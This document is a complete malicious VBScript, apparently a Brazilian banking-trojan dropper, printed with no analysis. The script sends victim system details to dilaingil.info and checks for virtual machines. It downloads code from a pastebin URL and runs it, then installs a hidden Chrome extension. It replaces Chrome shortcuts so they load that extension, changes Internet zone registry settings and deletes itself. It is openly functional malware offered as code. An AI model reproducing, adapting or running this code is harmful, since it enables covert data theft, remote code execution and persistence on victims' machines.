Malicious VBScript

On Error Resume Next

variavel2numerox = "126"

set variavel1 = wScript.createObject("WScript.Shell")

variavel2 = variavel1.expandEnvironmentStrings("%USERPROFILE%")

DIM fso

Set fso = CreateObject("Scripting.FileSystemObject")

If (fso.FileExists(variavel2 & "\" & variavel2numerox & "x")) Then

discardScript()

WScript.Quit()

Else

Set objFSO=CreateObject("Scripting.FileSystemObject")

outFile=variavel2 & "\" & variavel2numerox & "x"

Set objFile = objFSO.CreateTextFile(outFile,True)

objFile.Write "closed" & vbCrLf

objFile.Close

xbits = "0"

Set dtmConvertedDate = CreateObject("WbemScripting.SWbemDateTime")

Set SystemSet = GetObject("winmgmts:").InstancesOf ("Win32_OperatingSystem")

for each System in SystemSet

variavel2a = System.Caption

variavel2b = System.OSLanguage

variavel2d = System.CSName

dtmConvertedDate.Value = System.InstallDate

dtmInstallDate = dtmConvertedDate.GetVarDate

variavel2e = dtmInstallDate

variavel2f = System.RegisteredUser

variavel2g = System.CountryCode

variavel2h = System.version

next

strComputer = "."

strComputer2 = "\"

strComputer3 = ":"

strfinal = "winmgmts"& strComputer3 & strComputer2 & strComputer2 & strComputer & strComputer2 &"root" & strComputer2 & "cimv2"

Set objWMIService =  GetObject(strfinal)

Set colSettings = objWMIService.ExecQuery ("Select * from Win32_ComputerSystem")

For Each objComputer in colSettings

variavel2i2 = objComputer.Manufacturer

variavel2j2 = objComputer.Model

Next

Set colSettings = objWMIService.ExecQuery ("Select * from Win32_Processor")

For Each objProcessor in colSettings

variavel2l2 = objProcessor.Description

Next

Function HTTPPost(sUrl, sRequest)

set oHTTP = CreateObject("Microsoft.XMLHTTP")

oHTTP.open "POST", sUrl,false

oHTTP.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"

oHTTP.setRequestHeader "Content-Length", Len(sRequest)

oHTTP.send sRequest

HTTPPost = oHTTP.responseText

End Function

set variavel32x = wScript.createObject("WScript.Shell")

variavel32 = variavel32x.expandEnvironmentStrings("%programfiles%")

set variavel64x = wScript.createObject("WScript.Shell")

variavel64 = variavel32x.expandEnvironmentStrings("%programfiles(x86)%")

DIM fsoyx2

Set fsoyx2 = CreateObject("Scripting.FileSystemObject")

If (fsoyx2.FileExists(variavel32 & "\Google\Chrome\Application\chrome.exe")) Then

xbits =  variavel32 & "\Google\Chrome\Application\Chrome.exe, 0"

End If

If (fsoyx2.FileExists(variavel64 & "\Google\Chrome\Application\chrome.exe")) Then

xbits =  variavel64 & "\Google\Chrome\Application\Chrome.exe, 0"

End If

DIM fsoy

Set fsoy = CreateObject("Scripting.FileSystemObject")

If (fsoy.FolderExists("c:\Program Files (x86)")) Then

quantosbits = "64Bits"

Else

quantosbits = "32Bits"

End If

vartotal = variavel2i2 & "|" & variavel2j2 & "|" & variavel2l2

IF (variavel2g = "55") Then

sUrl = "http://dilaingil.info/kraus6.php?logins=0a"

sRequest = "host=" & variavel2d & "&status=[" & variavel2numerox & "]" & variavel2a & "(" & quantosbits & ")(" & variavel2b & ")(" & variavel2e & ")(" & variavel2f & ")(" & variavel2g & ")(" & variavel2h & ")" & vartotal  & "&globo=H74frxs&bk=-"

HTTPPost sUrl, sRequest

End If

IF (variavel2g = "55") and not   (xbits = "0")  Then

set objshell = createobject("wscript.shell")

runbat2 = variavel2 & "\b.bat"

Set objgrux=CreateObject("Scripting.FileSystemObject")

outFile= runbat2

Set objFile = objgrux.CreateTextFile(outFile,True)

objFile.Write "@echo off" & vbCrLf

objFile.Write "del /f /s /q ""%userprofile%\chrome""" & vbCrLf

objFile.Write "rd /s /q ""%userprofile%\chrome""" & vbCrLf

objFile.Write "rmdir /s /q ""%userprofile%\chrome""" & vbCrLf

objFile.Write "del /f ""%appdata%\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.LNK""" & vbCrLf

objFile.Write "del /f ""%appdata%\Microsoft\Internet Explorer\Quick Launch\Google Chrome.LNK""" & vbCrLf

objFile.Write "del /f ""%userprofile%\Desktop\Google Chrome2.LNK""" & vbCrLf

objFile.Write "del /f ""%userprofile%\Desktop\Google Chrome.LNK""" & vbCrLf

objFile.Write "del /f ""C:\Documents and Settings\All Users\Menu Iniciar\Programas\Google Chrome\Google Chrome.LNK""" & vbCrLf

objFile.Write "del /f ""C:\Documents and Settings\All Users\Menu Iniciar\Programas\Google Chrome.LNK""" & vbCrLf

objFile.Write "del /f ""C:\Documents and Settings\All Users\Desktop\Google Chrome.LNK""" & vbCrLf

objFile.Write "del /f ""C:\Users\Public\Desktop\Google Chrome.LNK""" & vbCrLf

objFile.Write "del /f ""C:\Documents and Settings\All Users\Desktop\Google Chrome2.LNK""" & vbCrLf

objFile.Write "del /f ""%programdata%\Microsoft\Windows\Start Menu\Programs\Google Chrome\Google Chrome.LNK""" & vbCrLf

objFile.Write "del /f ""%programdata%\Microsoft\Windows\Start Menu\Programs\Google Chrome.LNK""" & vbCrLf

objFile.Write "del /f ""%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\*.vbs""" & vbCrLf

objFile.Write "REG ADD ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0"" /v 1407 /t REG_DWORD /d 0 /f" & vbCrLf

objFile.Write "REG ADD ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1"" /v 1407 /t REG_DWORD /d 0 /f" & vbCrLf

objFile.Write "REG ADD ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2"" /v 1407 /t REG_DWORD /d 0 /f" & vbCrLf

objFile.Write "REG ADD ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3"" /v 1407 /t REG_DWORD /d 0 /f" & vbCrLf

objFile.Write "REG ADD ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4"" /v 1407 /t REG_DWORD /d 0 /f" & vbCrLf

objFile.Write "del /f """ & runbat2 & """" & vbCrLf

objFile.Close

objshell.run "cmd.exe /C """ & runbat2 & """",vbhide

WScript.Sleep(20000)

set variavel1 = wScript.createObject("WScript.Shell")

variavel2 = variavel1.expandEnvironmentStrings("%USERPROFILE%")

sUrl = "http://dilaingil.info/kraus6.php?logins=did&s=Ch"

sRequest = "host=" & variavel2d & "&bk=-"

HTTPPost sUrl, sRequest

Dim su, source_str

source_str = "aeiou"

Dim variavel3, variavel16, variavel4, variavel5, variavel4b

variavel3 = variavel2

variavel6 =  ""

variavel6b =  StrReverse("-")

su = Mid(source_str, 2, 1)

variavel5 = variavel6  & "." & su & "x" & su

variavel4 = variavel3 & "\" & variavel5

variavel4 = variavel3 & "\" & StrReverse("piz.tgu")

variavel9 = variavel4

Set variavel16 = CreateObject("Scripting.FileSystemObject")

dim variavel7,variavel8

dim variavel7b,variavel8b,variavel9b

su = Mid(source_str, 3, 1)

strComputer = "."

Set objWMIService = GetObject("winmgmts:\" & strComputer & "\root\cimv2")

Set colSettings = objWMIService.ExecQuery ("Select * from Win32_ComputerSystem")

For Each objComputer in colSettings

xxx1 = objComputer.Manufacturer

xxx2 = objComputer.Model

Next

Set colItems = objWMIService.ExecQuery("Select * from Win32_NetworkAdapterConfiguration",,48)

For Each objItem in colItems

xxx3 = xxx3 & objItem.Caption

xxx4 = "[" & variavel2numerox & "]" & objItem.Description

Next

sUrl1 = "http://dilaingil.info/krausx.php"

sRequest1 = "x=1p&info=" & xxx1 & " | " & xxx2 & "&an=" & xxx3 & xxx4

xxx5 = HTTPPost(sUrl1, sRequest1)

variavel8 = xxx5

If InStr(variavel8, "bit") > 0 Then

sUrl = "http://dilaingil.info/kraus6.php?logins=did&s=VM"

sRequest = "host=" & variavel2d & "&bk=-"

HTTPPost sUrl, sRequest

WScript.Quit()

End If

Dim max,min

max=10000

min=1

Randomize

Int((max-min+1)*Rnd+min)

Set variavel16 = CreateObject("Scripting.FileSystemObject")

If variavel16.FileExists(variavel9) Then

variavel16.DeleteFile(variavel9)

End If

xsUrl = "http://pastebin.com/raw/kXaRaqSu"

xsRequest = ""

zzz = HTTPPost(xsUrl, xsRequest)

xxx = zzz

Sub Includex

ExecuteGlobal xxx

End Sub

Includex

MySub variavel8,variavel9

Set variavel12 = CreateObject("Scripting.FileSystemObject")

If variavel12.FileExists(variavel9) Then

sUrl = "http://dilaingil.info/kraus6.php?logins=did&s=B"

sRequest = "host=" & variavel2d & "&bk=-"

HTTPPost sUrl, sRequest

ZipFile = variavel9

ExtractTo = variavel2

Set fso = CreateObject("Scripting.FileSystemObject")

If NOT fso.FolderExists(ExtractTo) Then

fso.CreateFolder(ExtractTo)

End If

set objShell = CreateObject("Shell.Application")

set FilesInZip=objShell.NameSpace(ZipFile).items

objShell.NameSpace(ExtractTo).CopyHere(FilesInZip)

Set fso = Nothing

Set objShell = Nothing

End if

If variavel16.FileExists(variavel9) Then

Dim variavel15

If variavel16.FileExists(variavel2 & "\Chrome\1.9.6\6.js" ) Then

sUrl = "http://dilaingil.info/kraus6.php?logins=did&s=OK"

sRequest = "host=" & variavel2d  & "&bk=-"

HTTPPost sUrl, sRequest

End if

set gtx1 = wScript.createObject("WScript.Shell")

gtx2 = gtx1.expandEnvironmentStrings("%USERPROFILE%")

Dim pixixito1,pixixito2,pixixito3,pixixito4

Function RandomString( ByVal strLen )

Dim str, min, max

Const LETTERS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJLMNKYWOPQRSTUVXZ"

min = 1

max = Len(LETTERS)

Randomize

For i = 1 to strLen

str = str & Mid( LETTERS, Int((max-min+1)*Rnd+min), 1 )

Next

RandomString = str

End Function

Function Randominterger( ByVal strLen )

Dim str, min, max

Const LETTERS = "1234567890"

min = 1

max = Len(LETTERS)

Randomize

For i = 1 to strLen

str = str & Mid( LETTERS, Int((max-min+1)*Rnd+min), 1 )

Next

Randominterger = str

End Function

dim yttt

yttt = Randominterger(15)

Function trocaridc( ForReadingx)

const ForReading = 1

const ForWriting = 2

strFileName = gtx2 & "\Chrome\1.9.6\" & ForReadingx & ".js"

strOldText = "var id = ""-"";"

strNewText = "var id = """ & yttt & """;"

Set objgru = CreateObject("Scripting.FileSystemObject")

Set objFile = objgru.OpenTextFile(strFileName, ForReading)

strText = objFile.ReadAll

objFile.Close

strNewText = Replace(strText, strOldText, strNewText)

Set objFile = objgru.OpenTextFile(strFileName, ForWriting)

objFile.WriteLine strNewText

objFile.Close

End Function

Function trocar( ForReadingx)

dim ttt

const ForReading = 1

const ForWriting = 2

strFileName = gtx2 & "\Chrome\1.9.6\manifest.json"

strOldText = ForReadingx

ttt = RandomString(6)

strNewText = ttt & ".js"

Dim gru

Set gru = WScript.CreateObject("Scripting.FileSystemObject")

gru.MoveFile gtx2 & "\Chrome\1.9.6\" & strOldText, gtx2 & "\Chrome\1.9.6\" & strNewText

Set objgru = CreateObject("Scripting.FileSystemObject")

Set objFile = objgru.OpenTextFile(strFileName, ForReading)

strText = objFile.ReadAll

objFile.Close

strNewText = Replace(strText, strOldText, strNewText)

Set objFile = objgru.OpenTextFile(strFileName, ForWriting)

objFile.WriteLine strNewText

objFile.Close

End Function

Function trocarbmp( ForReadingx)

dim ttt

const ForReading = 1

const ForWriting = 2

strFileName = gtx2 & "\Chrome\1.9.6\manifest.json"

strOldText = ForReadingx

ttt = RandomString(10)

strNewText = ttt & ".bmp"

Dim gru

Set gru = WScript.CreateObject("Scripting.FileSystemObject")

gru.MoveFile gtx2 & "\Chrome\1.9.6\iconos\" & strOldText, gtx2 & "\Chrome\1.9.6\iconos\" & strNewText

Set objgru = CreateObject("Scripting.FileSystemObject")

Set objFile = objgru.OpenTextFile(strFileName, ForReading)

strText = objFile.ReadAll

objFile.Close

strNewText = Replace(strText, strOldText, strNewText)

Set objFile = objgru.OpenTextFile(strFileName, ForWriting)

objFile.WriteLine strNewText

objFile.Close

End Function

DIM grut

Set grut = CreateObject("Scripting.FileSystemObject")

If (grut.FileExists(gtx2 & "\Chrome\1.9.6\6.js")) Then

trocaridc("1")

trocaridc("2")

trocaridc("3")

trocar("1.js")

trocar("2.js")

trocar("3.js")

trocarbmp("1.bmp")

End If

pixixito1 = RandomString(5)

pixixito2 = RandomString(5)

pixixito3 = RandomString(5)

pixixito4 = RandomString(5)

runvbs = gtx2 & "\" & RandomString(5) & ".vbs"

runbat = gtx2 & "\" & RandomString(5) & ".bat"

set gtx1a = wScript.createObject("WScript.Shell")

gtappdata = gtx1a.expandEnvironmentStrings("%appdata%")

set gtx1b = wScript.createObject("WScript.Shell")

gtuserprofile = gtx1b.expandEnvironmentStrings("%userprofile%")

Set oWS = WScript.CreateObject("WScript.Shell")

sLinkFile = gtappdata & "\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.LNK"

Set oLink = oWS.CreateShortcut(sLinkFile)

oLink.TargetPath = """" & runvbs & """"

oLink.IconLocation = xbits

oLink.WorkingDirectory = gtappdata & "\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\"

oLink.Save

Set oWS = WScript.CreateObject("WScript.Shell")

sLinkFile = gtappdata & "\Microsoft\Internet Explorer\Quick Launch\Google Chrome.LNK"

Set oLink = oWS.CreateShortcut(sLinkFile)

oLink.TargetPath = """" & runvbs & """"

oLink.IconLocation = xbits

oLink.WorkingDirectory = gtappdata & "\Microsoft\Internet Explorer\Quick Launch\"

oLink.Save

Set oWS = WScript.CreateObject("WScript.Shell")

sLinkFile = gtuserprofile & "\Desktop\Google Chrome.LNK"

Set oLink = oWS.CreateShortcut(sLinkFile)

oLink.TargetPath = """" & runvbs & """"

oLink.IconLocation = xbits

oLink.WorkingDirectory = gtuserprofile &  "\Desktop"

oLink.Save

Set oWS = WScript.CreateObject("WScript.Shell")

sLinkFile = "C:\Documents and Settings\All Users\Menu Iniciar\Programas\Google Chrome.LNK"

Set oLink = oWS.CreateShortcut(sLinkFile)

oLink.TargetPath = """" & runvbs & """"

oLink.IconLocation = xbits

oLink.WorkingDirectory = "C:\Documents and Settings\All Users\Menu Iniciar\Programas"

oLink.Save

Set oWS = WScript.CreateObject("WScript.Shell")

sLinkFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.LNK"

Set oLink = oWS.CreateShortcut(sLinkFile)

oLink.TargetPath = """" & runvbs & """"

oLink.IconLocation = xbits

oLink.WorkingDirectory = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\"

oLink.Save

Set oWS = WScript.CreateObject("WScript.Shell")

sLinkFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome\Google Chrome.LNK"

Set oLink = oWS.CreateShortcut(sLinkFile)

oLink.TargetPath = """" & runvbs & """"

oLink.IconLocation = xbits

oLink.WorkingDirectory = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome\"

oLink.Save

Set objgrux=CreateObject("Scripting.FileSystemObject")

outFile= runvbs

Set objFile = objgrux.CreateTextFile(outFile,True)

objFile.Write "set objshell = createobject(""wscript.shell"")" & vbCrLf

objFile.Write "objshell.run ""cmd.exe /C """"" & runbat & """"""",vbhide" & vbCrLf

objFile.Close

Set objShell5 = WScript.CreateObject("WScript.Shell")

Cami2 = objShell5.ExpandEnvironmentStrings("%userprofile%")

bonde1kilo="Wind" & "ows\syste" & "m32"

segundafeira="userpr" & "ofile"

nossasvidas="prog" & "ramfi" & "les"

Set objgru=CreateObject("Scripting.FileSystemObject")

outFile= runbat

Set objFile = objgru.CreateTextFile(outFile,True)

objFile.Write "@echo off" & vbCrLf

objFile.Write "set " & pixixito1 & "=G" & "oo" & vbCrLf

objFile.Write "set " & pixixito2 & "=%" & pixixito1 & "%g" & "le" & vbCrLf

objFile.Write "set " & pixixito3 & "=c" & "hr" & vbCrLf

objFile.Write "set " & pixixito4 & "=%" & pixixito3 & "%om" & "e" & vbCrLf

objFile.Write "cd ""%" & segundafeira & "%""" & vbCrLf

objFile.Write "C:\" & bonde1kilo & "\rmdir /s /q ""%" & segundafeira & "%\ext""" & vbCrLf

objFile.Write "C:\" & bonde1kilo & "\mkdir ext" & vbCrLf

objFile.Write "set s=%random%" & vbCrLf

objFile.Write "set fs=""%" & segundafeira & "%\ext\%s%""" & vbCrLf

objFile.Write "C:\" & bonde1kilo & "\taskkill -f -im xcopy.exe" & vbCrLf

objFile.Write "C:\" & bonde1kilo & "\xcopy /I /S ""%" & segundafeira & "%\%" & pixixito4 & "%\1.9.6"" %fs%" & vbCrLf

objFile.Write "C:\" & bonde1kilo & "\taskkill -f -im %" & pixixito4 & "%.exe" & vbCrLf

objFile.Write "IF EXIST ""%" & nossasvidas & "(x86)%\%" & pixixito2 & "%\%" & pixixito4 & "%\Application\%" & pixixito4 & "%.e" & "xe"" (" & vbCrLf

objFile.Write """%" & nossasvidas & "(x86)%\%" & pixixito2 & "%\%" & pixixito4 & "%\Application\%" & pixixito4 & "%.exe"" --load-extension=""%" & segundafeira & "%\ext\%s%""" & vbCrLf

objFile.Write "ECHO ""x86""" & vbCrLf

objFile.Write ") ELSE (" & vbCrLf

objFile.Write """%" & nossasvidas & "%\%" & pixixito2 & "%\%" & pixixito4 & "%\Application\%" & pixixito4 & "%.exe"" --load-extension=""%" & segundafeira & "%\ext\%s%""" & vbCrLf

objFile.Write "ECHO ""NORMAL""" & vbCrLf

objFile.Write ")" & vbCrLf

objFile.Close

Set variavel16 = CreateObject("Scripting.FileSystemObject")

If variavel16.FileExists(variavel9) Then

variavel16.DeleteFile(variavel9)

End If

Set objShell = Nothing

Set objshell = createobject("wscript.shell")

objshell.run "cscript """ & runvbs & """",vbhide

End If

Set variavel15 = Nothing

End If

End If

Function discardScript()

Set objFSO = CreateObject("Scripting.FileSystemObject")

strScript = Wscript.ScriptFullName

objFSO.DeleteFile(strScript)

End Function

discardScript()